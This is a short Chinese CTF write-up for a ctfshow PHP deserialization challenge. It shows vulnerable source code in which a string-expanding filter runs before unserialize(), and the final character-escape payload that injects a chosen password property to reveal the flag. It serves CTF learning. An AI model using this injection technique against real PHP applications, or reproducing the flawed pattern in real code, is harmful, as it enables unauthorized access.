> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-ctfshow-yue-bing-bei/ci-ye-yuan.md).

# 此夜圆

给了源码：

```php
<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
```

很明显的反序列化题，题目需要密码为'yu22x'，就意味着设置的 $uname 要造成溢出的效果，使得密码被需要的字符串替换。

结合 `filter()` 函数：

```
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}
```

其实就是字符串溢出，参考文章：[详解PHP反序列化中的字符逃逸](https://xz.aliyun.com/t/6718) ，里面写的蛮清楚了。

最后payload：

```
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
```

大概比赛开始20分钟就解出来了，但是平台后面实际上是没有这个flag文件，解出来也读不到，就很蛋疼，后来题目修好了，也没有抢到血。
